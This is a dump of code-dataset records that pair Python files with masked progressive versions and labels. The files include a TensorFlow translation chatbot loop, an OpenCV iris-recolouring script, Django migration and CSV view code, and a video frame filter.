conversation_history[-conversation_history:]\n token_ids = list(reversed(datautil.sentence_to_ids(' '.join(\n conversation_history), vocaben, normalize_digits=True, Isch\n =True)))\n bucket_id = min([b for b in range(len(_buckets)) if _buckets[b]\n [0] > len(token_ids)])\n encoder_inputs, decoder_inputs, target_weights = model.get_batch({\n bucket_id: [(token_ids, [])]}, bucket_id)\n _, _, output_logits = model.step(sess, encoder_inputs,\n decoder_inputs, target_weights, bucket_id, True)\n outputs = [int(np.argmax(logit, axis=1)) for logit in output_logits\n ]\n if datautil.EOS_ID in outputs:\n outputs = outputs[:outputs.index(datautil.EOS_ID)]\n convo_output = ' '.join(datautil.ids2texts(outputs,\n rev_vocabch))\n conversation_history.append(convo_output)\n else:\n print('can not translation!')\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "# -*- coding:utf-8 -*-\nimport os\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom translate import datautil\nimport seq2seq_model\n\n_buckets = []\nconvo_hist_limit = 1\nmax_source_length = 1\nmax_target_length = 2\n\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\ntf.reset_default_graph\n\nmax_train_data_size = 0\n\ndata_dir = 'datacn/'\n\ndropout = 1.0\ngrad_clip = 5.0\nbatch_size = 60\nhidden_size = 14\nnum_layers = 2\nlearning_rate = 0.5\nlr_decay_factor = 0.99\n\ncheckpoint_dir = 'data/checkpoints/'\n\nhidden_size = 100\ncheckpoint_dir = 'fanyichina/checkpoints/'\ndata_dir = 'fanyichina'\n_buckets = [(20, 20), (40, 40), (50, 50), (60, 60)]\n\n\ndef getfanyiInfo():\n vocaben, rev_vocaben = datautil.initialize_vocabulary(\n os.path.join(datautil.data_dir, datautil.vocabulary_fileen))\n vocab_sizeen = len(vocaben)\n vocabch, rev_vocabch = datautil.initialize_vocabulary(\n os.path.join(datautil.data_dir, datautil.vocabulary_filech))\n vocab_sizech = len(vocabch)\n return vocab_sizeen, vocab_sizech, vocaben, vocabch\n\n\ndef createModel(session, forward_only, from_vocab_size, to_vocab_size):\n model = seq2seq_model.Seq2SeqModel(from_vocab_size, to_vocab_size, _buckets, hidden_size, num_layers, dropout,\n grad_clip, batch_size, learning_rate, lr_decay_factor, forward_only=forward_only, dtype=tf.float32)\n ckpt = tf.train.latest_checkpoint(checkpoint_dir)\n if ckpt != None:\n model.saver.restore(session, ckpt)\n else:\n session.run(tf.global_variables_initializer())\n return model\n\n\ndef main():\n vocab_sizeen, vocab_sizech, vocaben, rev_vocabch = getfanyiInfo()\n if not os.path.exists(checkpoint_dir):\n os.mkdir(checkpoint_dir)\n with tf.Session() as sess:\n model = createModel(sess, True, vocab_sizeen, vocab_sizech)\n model.batch_size = 1\n conversation_history = []\n while True:\n prompt = '请输入:'\n sentence = input(prompt)\n conversation_history.append(sentence)\n conversation_history = conversation_history[-conversation_history:]\n\n token_ids = list(reversed(datautil.sentence_to_ids(\n \" \".join(conversation_history), vocaben, normalize_digits=True, Isch=True)))\n bucket_id = min([b for b in range(len(_buckets))\n if _buckets[b][0] > len(token_ids)])\n\n encoder_inputs, decoder_inputs, target_weights = model.get_batch(\n {bucket_id: [(token_ids, [])]}, bucket_id)\n _, _, output_logits = model.step(\n sess, encoder_inputs, decoder_inputs, target_weights, bucket_id, True)\n outputs = [int(np.argmax(logit, axis=1))\n for logit in output_logits]\n if datautil.EOS_ID in outputs:\n outputs = outputs[:outputs.index(datautil.EOS_ID)]\n convo_output = \" \".join(\n datautil.ids2texts(outputs, rev_vocabch))\n conversation_history.append(convo_output)\n else:\n print('can not translation!')\n\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 2, 4, 5, 6, 7 ] }
[ 2, 4, 5, 6, 7 ]
def tort(n, a, b): return min(n * a, b) def main(): n, a, b = map(int, input().split()) print(tort(n, a, b)) if __name__ == '__main__': main()
normal
{ "blob_id": "7c06bd52c924d3e401f50625109c5b8b489df157", "index": 7434, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef main():\n n, a, b = map(int, input().split())\n print(tort(n, a, b))\n\n\n<mask token>\n", "step-3": "def tort(n, a, b):\n return min(n * a, b)\n\n\ndef main():\n n, a, b = map(int, input().split())\n print(tort(n, a, b))\n\n\n<mask token>\n", "step-4": "def tort(n, a, b):\n return min(n * a, b)\n\n\ndef main():\n n, a, b = map(int, input().split())\n print(tort(n, a, b))\n\n\nif __name__ == '__main__':\n main()\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import cv2 import dlib import faceBlendCommon as face from matplotlib import pyplot as plt from scipy.spatial import distance as dist import numpy as np import cmapy import math def eye_aspect_ratio(eye): A = dist.euclidean(eye[1], eye[5]) B = dist.euclidean(eye[2], eye[4]) C = dist.euclidean(eye[0], eye[3]) rad=(A+B)/2 return int(rad) # Load Image im = cv2.imread("imgs/2.jpg") # Detect face landmarks PREDICTOR_PATH = r"./model/shape_predictor_68_face_landmarks.dat" faceDetector = dlib.get_frontal_face_detector() landmarkDetector = dlib.shape_predictor(PREDICTOR_PATH) landmarks = face.getLandmarks(faceDetector, landmarkDetector, im) def createEyeMask(eyeLandmarks, im): leftEyePoints = eyeLandmarks eyeMask = np.zeros_like(im) cv2.fillConvexPoly(eyeMask, np.int32(leftEyePoints), (255, 255, 255)) eyeMask = np.uint8(eyeMask) return eyeMask def findIris(eyeMask, im, thresh): r = im[:,:,2] _, binaryIm = cv2.threshold(r, thresh, 255, cv2.THRESH_BINARY_INV) kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (4,4)) morph = cv2.dilate(binaryIm, kernel, 1) morph = cv2.merge((morph, morph, morph)) morph = morph.astype(float)/255 eyeMask = eyeMask.astype(float)/255 iris = cv2.multiply(eyeMask, morph) return iris def findCentroid(iris): M = cv2.moments(iris[:,:,0]) cX = int(M["m10"] / M["m00"]) cY = int(M["m01"] / M["m00"]) centroid = (cX,cY) return centroid def createIrisMask(iris, centroid,rad): cnts, _ = cv2.findContours(np.uint8(iris[:,:,0]), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) flag = 10000 final_cnt = None for cnt in cnts: (x,y),radius = cv2.minEnclosingCircle(cnt) distance = abs(centroid[0]-x)+abs(centroid[1]-y) if distance < flag : flag = distance final_cnt = cnt else: continue (x,y),radius = cv2.minEnclosingCircle(final_cnt) center = (int(x),int(y)) center = centroid # radius = int(radius-(radius//4)) radius=(rad//2)+2 print(radius) irisMask = np.zeros_like(iris) inverseIrisMask = np.ones_like(iris)*255 cv2.circle(irisMask,center,radius,(255, 255, 255),-1) cv2.circle(inverseIrisMask,center,radius,(0, 0, 0),-1) # irisMask = cv2.GaussianBlur(irisMask, (5,5), cv2.BORDER_DEFAULT) # inverseIrisMask = cv2.GaussianBlur(inverseIrisMask, (5,5), cv2.BORDER_DEFAULT) return irisMask, inverseIrisMask def changeEyeColor(im, irisMask, inverseIrisMask): imCopy = cv2.applyColorMap(im, cmapy.cmap('Blues_r')) imCopy = imCopy.astype(float)/255 irisMask = irisMask.astype(float)/255 inverseIrisMask = inverseIrisMask.astype(float)/255 im = im.astype(float)/255 faceWithoutEye = cv2.multiply(inverseIrisMask, im) newIris = cv2.multiply(irisMask, imCopy) result = faceWithoutEye + newIris return result def float642Uint8(im): im2Convert = im.astype(np.float64) / np.amax(im) im2Convert = 255 * im2Convert convertedIm = im2Convert.astype(np.uint8) return convertedIm # Create eye mask using eye landmarks from facial landmark detection leftEyeMask = createEyeMask(landmarks[36:42], im) rightEyeMask = createEyeMask(landmarks[42:48], im) # Find the iris by thresholding the red channel of the image within the boundaries of the eye mask leftIris = findIris(leftEyeMask, im, 100) rightIris = findIris(rightEyeMask, im, 50) # Find the centroid of the binary image of the eye leftIrisCentroid = findCentroid(leftIris) rightIrisCentroid = findCentroid(rightIris) # Generate the iris mask and its inverse mask rad_left=eye_aspect_ratio(landmarks[36:42]) rad_right=eye_aspect_ratio(landmarks[42:48]) rightIrisMask, rightInverseIrisMask = createIrisMask(rightIris, rightIrisCentroid,rad_right) leftIrisMask, leftInverseIrisMask = createIrisMask(leftIris, leftIrisCentroid,rad_left) # Change the eye color and merge it to the original image coloredEyesLady = changeEyeColor(im, rightIrisMask, rightInverseIrisMask) coloredEyesLady = float642Uint8(coloredEyesLady) coloredEyesLady = changeEyeColor(coloredEyesLady, leftIrisMask, leftInverseIrisMask) coloredEyesLady = float642Uint8(coloredEyesLady) # Present results cv2.imwrite("3.jpg", coloredEyesLady)
normal
{ "blob_id": "65ff3b5137c94890c3293a2ae3f57dee1f60a54c", "index": 9097, "step-1": "<mask token>\n\n\ndef findIris(eyeMask, im, thresh):\n r = im[:, :, 2]\n _, binaryIm = cv2.threshold(r, thresh, 255, cv2.THRESH_BINARY_INV)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (4, 4))\n morph = cv2.dilate(binaryIm, kernel, 1)\n morph = cv2.merge((morph, morph, morph))\n morph = morph.astype(float) / 255\n eyeMask = eyeMask.astype(float) / 255\n iris = cv2.multiply(eyeMask, morph)\n return iris\n\n\ndef findCentroid(iris):\n M = cv2.moments(iris[:, :, 0])\n cX = int(M['m10'] / M['m00'])\n cY = int(M['m01'] / M['m00'])\n centroid = cX, cY\n return centroid\n\n\n<mask token>\n\n\ndef changeEyeColor(im, irisMask, inverseIrisMask):\n imCopy = cv2.applyColorMap(im, cmapy.cmap('Blues_r'))\n imCopy = imCopy.astype(float) / 255\n irisMask = irisMask.astype(float) / 255\n inverseIrisMask = inverseIrisMask.astype(float) / 255\n im = im.astype(float) / 255\n faceWithoutEye = cv2.multiply(inverseIrisMask, im)\n newIris = cv2.multiply(irisMask, imCopy)\n result = faceWithoutEye + newIris\n return result\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef createEyeMask(eyeLandmarks, im):\n leftEyePoints = eyeLandmarks\n eyeMask = np.zeros_like(im)\n cv2.fillConvexPoly(eyeMask, np.int32(leftEyePoints), (255, 255, 255))\n eyeMask = np.uint8(eyeMask)\n return eyeMask\n\n\ndef findIris(eyeMask, im, thresh):\n r = im[:, :, 2]\n _, binaryIm = cv2.threshold(r, thresh, 255, cv2.THRESH_BINARY_INV)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (4, 4))\n morph = cv2.dilate(binaryIm, kernel, 1)\n morph = cv2.merge((morph, morph, morph))\n morph = morph.astype(float) / 255\n eyeMask = eyeMask.astype(float) / 255\n iris = cv2.multiply(eyeMask, morph)\n return iris\n\n\ndef findCentroid(iris):\n M = cv2.moments(iris[:, :, 0])\n cX = int(M['m10'] / M['m00'])\n cY = int(M['m01'] / M['m00'])\n centroid = cX, cY\n return centroid\n\n\ndef createIrisMask(iris, centroid, rad):\n cnts, _ = cv2.findContours(np.uint8(iris[:, :, 0]), cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\n flag = 10000\n final_cnt = None\n for cnt in cnts:\n (x, y), radius = cv2.minEnclosingCircle(cnt)\n distance = abs(centroid[0] - x) + abs(centroid[1] - y)\n if distance < flag:\n flag = distance\n final_cnt = cnt\n else:\n continue\n (x, y), radius = cv2.minEnclosingCircle(final_cnt)\n center = int(x), int(y)\n center = centroid\n radius = rad // 2 + 2\n print(radius)\n irisMask = np.zeros_like(iris)\n inverseIrisMask = np.ones_like(iris) * 255\n cv2.circle(irisMask, center, radius, (255, 255, 255), -1)\n cv2.circle(inverseIrisMask, center, radius, (0, 0, 0), -1)\n return irisMask, inverseIrisMask\n\n\ndef changeEyeColor(im, irisMask, inverseIrisMask):\n imCopy = cv2.applyColorMap(im, cmapy.cmap('Blues_r'))\n imCopy = imCopy.astype(float) / 255\n irisMask = irisMask.astype(float) / 255\n inverseIrisMask = inverseIrisMask.astype(float) / 255\n im = im.astype(float) / 255\n faceWithoutEye = cv2.multiply(inverseIrisMask, im)\n newIris = cv2.multiply(irisMask, imCopy)\n result = faceWithoutEye + newIris\n return result\n\n\ndef float642Uint8(im):\n im2Convert = im.astype(np.float64) / np.amax(im)\n im2Convert = 255 * im2Convert\n convertedIm = im2Convert.astype(np.uint8)\n return convertedIm\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef eye_aspect_ratio(eye):\n A = dist.euclidean(eye[1], eye[5])\n B = dist.euclidean(eye[2], eye[4])\n C = dist.euclidean(eye[0], eye[3])\n rad = (A + B) / 2\n return int(rad)\n\n\n<mask token>\n\n\ndef createEyeMask(eyeLandmarks, im):\n leftEyePoints = eyeLandmarks\n eyeMask = np.zeros_like(im)\n cv2.fillConvexPoly(eyeMask, np.int32(leftEyePoints), (255, 255, 255))\n eyeMask = np.uint8(eyeMask)\n return eyeMask\n\n\ndef findIris(eyeMask, im, thresh):\n r = im[:, :, 2]\n _, binaryIm = cv2.threshold(r, thresh, 255, cv2.THRESH_BINARY_INV)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (4, 4))\n morph = cv2.dilate(binaryIm, kernel, 1)\n morph = cv2.merge((morph, morph, morph))\n morph = morph.astype(float) / 255\n eyeMask = eyeMask.astype(float) / 255\n iris = cv2.multiply(eyeMask, morph)\n return iris\n\n\ndef findCentroid(iris):\n M = cv2.moments(iris[:, :, 0])\n cX = int(M['m10'] / M['m00'])\n cY = int(M['m01'] / M['m00'])\n centroid = cX, cY\n return centroid\n\n\ndef createIrisMask(iris, centroid, rad):\n cnts, _ = cv2.findContours(np.uint8(iris[:, :, 0]), cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\n flag = 10000\n final_cnt = None\n for cnt in cnts:\n (x, y), radius = cv2.minEnclosingCircle(cnt)\n distance = abs(centroid[0] - x) + abs(centroid[1] - y)\n if distance < flag:\n flag = distance\n final_cnt = cnt\n else:\n continue\n (x, y), radius = cv2.minEnclosingCircle(final_cnt)\n center = int(x), int(y)\n center = centroid\n radius = rad // 2 + 2\n print(radius)\n irisMask = np.zeros_like(iris)\n inverseIrisMask = np.ones_like(iris) * 255\n cv2.circle(irisMask, center, radius, (255, 255, 255), -1)\n cv2.circle(inverseIrisMask, center, radius, (0, 0, 0), -1)\n return irisMask, inverseIrisMask\n\n\ndef changeEyeColor(im, irisMask, inverseIrisMask):\n imCopy = cv2.applyColorMap(im, cmapy.cmap('Blues_r'))\n imCopy = imCopy.astype(float) / 255\n irisMask = irisMask.astype(float) / 255\n inverseIrisMask = inverseIrisMask.astype(float) / 255\n im = im.astype(float) / 255\n faceWithoutEye = cv2.multiply(inverseIrisMask, im)\n newIris = cv2.multiply(irisMask, imCopy)\n result = faceWithoutEye + newIris\n return result\n\n\ndef float642Uint8(im):\n im2Convert = im.astype(np.float64) / np.amax(im)\n im2Convert = 255 * im2Convert\n convertedIm = im2Convert.astype(np.uint8)\n return convertedIm\n\n\n<mask token>\ncv2.imwrite('3.jpg', coloredEyesLady)\n", "step-4": "import cv2\nimport dlib\nimport faceBlendCommon as face\nfrom matplotlib import pyplot as plt\nfrom scipy.spatial import distance as dist\nimport numpy as np\nimport cmapy\nimport math\n\n\ndef eye_aspect_ratio(eye):\n A = dist.euclidean(eye[1], eye[5])\n B = dist.euclidean(eye[2], eye[4])\n C = dist.euclidean(eye[0], eye[3])\n rad = (A + B) / 2\n return int(rad)\n\n\nim = cv2.imread('imgs/2.jpg')\nPREDICTOR_PATH = './model/shape_predictor_68_face_landmarks.dat'\nfaceDetector = dlib.get_frontal_face_detector()\nlandmarkDetector = dlib.shape_predictor(PREDICTOR_PATH)\nlandmarks = face.getLandmarks(faceDetector, landmarkDetector, im)\n\n\ndef createEyeMask(eyeLandmarks, im):\n leftEyePoints = eyeLandmarks\n eyeMask = np.zeros_like(im)\n cv2.fillConvexPoly(eyeMask, np.int32(leftEyePoints), (255, 255, 255))\n eyeMask = np.uint8(eyeMask)\n return eyeMask\n\n\ndef findIris(eyeMask, im, thresh):\n r = im[:, :, 2]\n _, binaryIm = cv2.threshold(r, thresh, 255, cv2.THRESH_BINARY_INV)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (4, 4))\n morph = cv2.dilate(binaryIm, kernel, 1)\n morph = cv2.merge((morph, morph, morph))\n morph = morph.astype(float) / 255\n eyeMask = eyeMask.astype(float) / 255\n iris = cv2.multiply(eyeMask, morph)\n return iris\n\n\ndef findCentroid(iris):\n M = cv2.moments(iris[:, :, 0])\n cX = int(M['m10'] / M['m00'])\n cY = int(M['m01'] / M['m00'])\n centroid = cX, cY\n return centroid\n\n\ndef createIrisMask(iris, centroid, rad):\n cnts, _ = cv2.findContours(np.uint8(iris[:, :, 0]), cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\n flag = 10000\n final_cnt = None\n for cnt in cnts:\n (x, y), radius = cv2.minEnclosingCircle(cnt)\n distance = abs(centroid[0] - x) + abs(centroid[1] - y)\n if distance < flag:\n flag = distance\n final_cnt = cnt\n else:\n continue\n (x, y), radius = cv2.minEnclosingCircle(final_cnt)\n center = int(x), int(y)\n center = centroid\n radius = rad // 2 + 2\n print(radius)\n irisMask = np.zeros_like(iris)\n inverseIrisMask = np.ones_like(iris) * 255\n cv2.circle(irisMask, center, radius, (255, 255, 255), -1)\n cv2.circle(inverseIrisMask, center, radius, (0, 0, 0), -1)\n return irisMask, inverseIrisMask\n\n\ndef changeEyeColor(im, irisMask, inverseIrisMask):\n imCopy = cv2.applyColorMap(im, cmapy.cmap('Blues_r'))\n imCopy = imCopy.astype(float) / 255\n irisMask = irisMask.astype(float) / 255\n inverseIrisMask = inverseIrisMask.astype(float) / 255\n im = im.astype(float) / 255\n faceWithoutEye = cv2.multiply(inverseIrisMask, im)\n newIris = cv2.multiply(irisMask, imCopy)\n result = faceWithoutEye + newIris\n return result\n\n\ndef float642Uint8(im):\n im2Convert = im.astype(np.float64) / np.amax(im)\n im2Convert = 255 * im2Convert\n convertedIm = im2Convert.astype(np.uint8)\n return convertedIm\n\n\nleftEyeMask = createEyeMask(landmarks[36:42], im)\nrightEyeMask = createEyeMask(landmarks[42:48], im)\nleftIris = findIris(leftEyeMask, im, 100)\nrightIris = findIris(rightEyeMask, im, 50)\nleftIrisCentroid = findCentroid(leftIris)\nrightIrisCentroid = findCentroid(rightIris)\nrad_left = eye_aspect_ratio(landmarks[36:42])\nrad_right = eye_aspect_ratio(landmarks[42:48])\nrightIrisMask, rightInverseIrisMask = createIrisMask(rightIris,\n rightIrisCentroid, rad_right)\nleftIrisMask, leftInverseIrisMask = createIrisMask(leftIris,\n leftIrisCentroid, rad_left)\ncoloredEyesLady = changeEyeColor(im, rightIrisMask, rightInverseIrisMask)\ncoloredEyesLady = float642Uint8(coloredEyesLady)\ncoloredEyesLady = changeEyeColor(coloredEyesLady, leftIrisMask,\n leftInverseIrisMask)\ncoloredEyesLady = float642Uint8(coloredEyesLady)\ncv2.imwrite('3.jpg', coloredEyesLady)\n", "step-5": "import cv2\nimport dlib\nimport faceBlendCommon as face\nfrom matplotlib import pyplot as plt\nfrom scipy.spatial import distance as dist\nimport numpy as np\nimport cmapy\nimport math\n\n\ndef eye_aspect_ratio(eye):\n A = dist.euclidean(eye[1], eye[5])\n B = dist.euclidean(eye[2], eye[4])\n C = dist.euclidean(eye[0], eye[3])\n rad=(A+B)/2\n return int(rad)\n\n# Load Image\nim = cv2.imread(\"imgs/2.jpg\")\n\n# Detect face landmarks\nPREDICTOR_PATH = r\"./model/shape_predictor_68_face_landmarks.dat\"\nfaceDetector = dlib.get_frontal_face_detector()\nlandmarkDetector = dlib.shape_predictor(PREDICTOR_PATH)\nlandmarks = face.getLandmarks(faceDetector, landmarkDetector, im)\n\ndef createEyeMask(eyeLandmarks, im):\n leftEyePoints = eyeLandmarks\n eyeMask = np.zeros_like(im)\n cv2.fillConvexPoly(eyeMask, np.int32(leftEyePoints), (255, 255, 255))\n eyeMask = np.uint8(eyeMask)\n return eyeMask\n\ndef findIris(eyeMask, im, thresh):\n r = im[:,:,2]\n _, binaryIm = cv2.threshold(r, thresh, 255, cv2.THRESH_BINARY_INV)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (4,4))\n morph = cv2.dilate(binaryIm, kernel, 1)\n morph = cv2.merge((morph, morph, morph))\n morph = morph.astype(float)/255\n eyeMask = eyeMask.astype(float)/255\n iris = cv2.multiply(eyeMask, morph)\n return iris\n\ndef findCentroid(iris):\n M = cv2.moments(iris[:,:,0])\n cX = int(M[\"m10\"] / M[\"m00\"])\n cY = int(M[\"m01\"] / M[\"m00\"])\n centroid = (cX,cY)\n return centroid\n\ndef createIrisMask(iris, centroid,rad):\n cnts, _ = cv2.findContours(np.uint8(iris[:,:,0]), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n flag = 10000\n final_cnt = None\n for cnt in cnts:\n (x,y),radius = cv2.minEnclosingCircle(cnt)\n distance = abs(centroid[0]-x)+abs(centroid[1]-y)\n if distance < flag :\n flag = distance\n final_cnt = cnt\n else:\n continue\n (x,y),radius = cv2.minEnclosingCircle(final_cnt)\n center = (int(x),int(y))\n center = centroid\n # radius = int(radius-(radius//4))\n radius=(rad//2)+2\n print(radius)\n irisMask = np.zeros_like(iris)\n inverseIrisMask = np.ones_like(iris)*255\n cv2.circle(irisMask,center,radius,(255, 255, 255),-1)\n cv2.circle(inverseIrisMask,center,radius,(0, 0, 0),-1)\n # irisMask = cv2.GaussianBlur(irisMask, (5,5), cv2.BORDER_DEFAULT)\n # inverseIrisMask = cv2.GaussianBlur(inverseIrisMask, (5,5), cv2.BORDER_DEFAULT)\n return irisMask, inverseIrisMask\n\ndef changeEyeColor(im, irisMask, inverseIrisMask):\n \n imCopy = cv2.applyColorMap(im, cmapy.cmap('Blues_r')) \n imCopy = imCopy.astype(float)/255\n irisMask = irisMask.astype(float)/255\n inverseIrisMask = inverseIrisMask.astype(float)/255\n im = im.astype(float)/255\n faceWithoutEye = cv2.multiply(inverseIrisMask, im)\n newIris = cv2.multiply(irisMask, imCopy)\n result = faceWithoutEye + newIris\n return result\n\ndef float642Uint8(im):\n im2Convert = im.astype(np.float64) / np.amax(im)\n im2Convert = 255 * im2Convert \n convertedIm = im2Convert.astype(np.uint8)\n return convertedIm\n\n\n\n# Create eye mask using eye landmarks from facial landmark detection\nleftEyeMask = createEyeMask(landmarks[36:42], im)\nrightEyeMask = createEyeMask(landmarks[42:48], im)\n\n# Find the iris by thresholding the red channel of the image within the boundaries of the eye mask\nleftIris = findIris(leftEyeMask, im, 100)\nrightIris = findIris(rightEyeMask, im, 50)\n\n\n# Find the centroid of the binary image of the eye\nleftIrisCentroid = findCentroid(leftIris)\nrightIrisCentroid = findCentroid(rightIris)\n\n# Generate the iris mask and its inverse mask\nrad_left=eye_aspect_ratio(landmarks[36:42])\nrad_right=eye_aspect_ratio(landmarks[42:48])\n\n\nrightIrisMask, rightInverseIrisMask = createIrisMask(rightIris, rightIrisCentroid,rad_right)\nleftIrisMask, leftInverseIrisMask = createIrisMask(leftIris, leftIrisCentroid,rad_left)\n\n\n# Change the eye color and merge it to the original image\ncoloredEyesLady = changeEyeColor(im, rightIrisMask, rightInverseIrisMask)\ncoloredEyesLady = float642Uint8(coloredEyesLady)\ncoloredEyesLady = changeEyeColor(coloredEyesLady, leftIrisMask, leftInverseIrisMask)\ncoloredEyesLady = float642Uint8(coloredEyesLady)\n\n# Present results\ncv2.imwrite(\"3.jpg\", coloredEyesLady)\n", "step-ids": [ 3, 6, 8, 10, 11 ] }
[ 3, 6, 8, 10, 11 ]
# -*- coding: utf-8 -*- # Generated by Django 1.10.3 on 2017-03-09 14:28 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('proposal', '0016_project_callobjectives'), ] operations = [ migrations.AlterModelOptions( name='setting', options={'ordering': ['group', 'name']}, ), migrations.AddField( model_name='setting', name='description', field=models.TextField(blank=True, help_text='Explain what this setting does, where it is used.', verbose_name='Description of this setting'), ), ]
normal
{ "blob_id": "d5c7b8966e73c607d1d1c5da9814ef507dc53b59", "index": 6852, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('proposal', '0016_project_callobjectives')]\n operations = [migrations.AlterModelOptions(name='setting', options={\n 'ordering': ['group', 'name']}), migrations.AddField(model_name=\n 'setting', name='description', field=models.TextField(blank=True,\n help_text='Explain what this setting does, where it is used.',\n verbose_name='Description of this setting'))]\n", "step-4": "from __future__ import unicode_literals\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('proposal', '0016_project_callobjectives')]\n operations = [migrations.AlterModelOptions(name='setting', options={\n 'ordering': ['group', 'name']}), migrations.AddField(model_name=\n 'setting', name='description', field=models.TextField(blank=True,\n help_text='Explain what this setting does, where it is used.',\n verbose_name='Description of this setting'))]\n", "step-5": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.3 on 2017-03-09 14:28\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('proposal', '0016_project_callobjectives'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='setting',\n options={'ordering': ['group', 'name']},\n ),\n migrations.AddField(\n model_name='setting',\n name='description',\n field=models.TextField(blank=True, help_text='Explain what this setting does, where it is used.', verbose_name='Description of this setting'),\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
from django.shortcuts import render from django.views.generic import TemplateView from django.conf import settings import os, csv class InflationView(TemplateView): template_name = 'inflation.html' def get(self, request, *args, **kwargs): # чтение csv-файла и заполнение контекста context = {} file_path = os.path.join(settings.BASE_DIR, 'inflation_russia.csv') with open(file_path, newline='', encoding='utf-8') as csvfile: reader = csv.reader(csvfile, delimiter=';') context['head'] = next(reader) context['data'] = [] for row in reader: context['data'].append(row) return render(request, self.template_name, context)
normal
{ "blob_id": "6645887b25d75f4657fb231b80d8ebdec2bac7c9", "index": 8718, "step-1": "<mask token>\n\n\nclass InflationView(TemplateView):\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass InflationView(TemplateView):\n <mask token>\n\n def get(self, request, *args, **kwargs):\n context = {}\n file_path = os.path.join(settings.BASE_DIR, 'inflation_russia.csv')\n with open(file_path, newline='', encoding='utf-8') as csvfile:\n reader = csv.reader(csvfile, delimiter=';')\n context['head'] = next(reader)\n context['data'] = []\n for row in reader:\n context['data'].append(row)\n return render(request, self.template_name, context)\n", "step-3": "<mask token>\n\n\nclass InflationView(TemplateView):\n template_name = 'inflation.html'\n\n def get(self, request, *args, **kwargs):\n context = {}\n file_path = os.path.join(settings.BASE_DIR, 'inflation_russia.csv')\n with open(file_path, newline='', encoding='utf-8') as csvfile:\n reader = csv.reader(csvfile, delimiter=';')\n context['head'] = next(reader)\n context['data'] = []\n for row in reader:\n context['data'].append(row)\n return render(request, self.template_name, context)\n", "step-4": "from django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom django.conf import settings\nimport os, csv\n\n\nclass InflationView(TemplateView):\n template_name = 'inflation.html'\n\n def get(self, request, *args, **kwargs):\n context = {}\n file_path = os.path.join(settings.BASE_DIR, 'inflation_russia.csv')\n with open(file_path, newline='', encoding='utf-8') as csvfile:\n reader = csv.reader(csvfile, delimiter=';')\n context['head'] = next(reader)\n context['data'] = []\n for row in reader:\n context['data'].append(row)\n return render(request, self.template_name, context)\n", "step-5": "from django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom django.conf import settings\nimport os, csv\n\n\nclass InflationView(TemplateView):\n template_name = 'inflation.html'\n\n def get(self, request, *args, **kwargs):\n # чтение csv-файла и заполнение контекста\n context = {}\n file_path = os.path.join(settings.BASE_DIR, 'inflation_russia.csv')\n with open(file_path, newline='', encoding='utf-8') as csvfile:\n reader = csv.reader(csvfile, delimiter=';')\n context['head'] = next(reader)\n context['data'] = []\n for row in reader:\n context['data'].append(row)\n return render(request, self.template_name, context)\n\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Frame filtering ''' import numpy as np import cv2 def filter_frames(frames, method=cv2.HISTCMP_CORREL, target_size=(64, 64), threshold=0.65): """Filter noisy frames out Args: frames (list<numpy.ndarray[H, W, 3]>): video frames method (int, optional): histogram comparison method target_size (tuple<int, int>, optional): frame size used for histogram comparison threshold (float, optional): minimum correlation between histograms to keep frame Returns: list<numpy.ndarray[H, W, 3]>: video frames """ resized_frames = [cv2.resize(f.copy(), target_size) for f in frames] histograms = [] for f in resized_frames: hist = cv2.calcHist([f], [0, 1, 2], None, [8, 8, 8], [0, 256, 0, 256, 0, 256]) histograms.append(cv2.normalize(hist, hist).flatten()) # Find a reference histogram (median less sensitive to noise) med_hist = np.median(histograms, axis=0) filtered_frames = [] # Compare all histograms to the median one for idx, hist in enumerate(histograms): # Only keep frames with relatively high correlation if cv2.compareHist(med_hist, hist, method) > threshold: filtered_frames.append(frames[idx]) return filtered_frames
normal
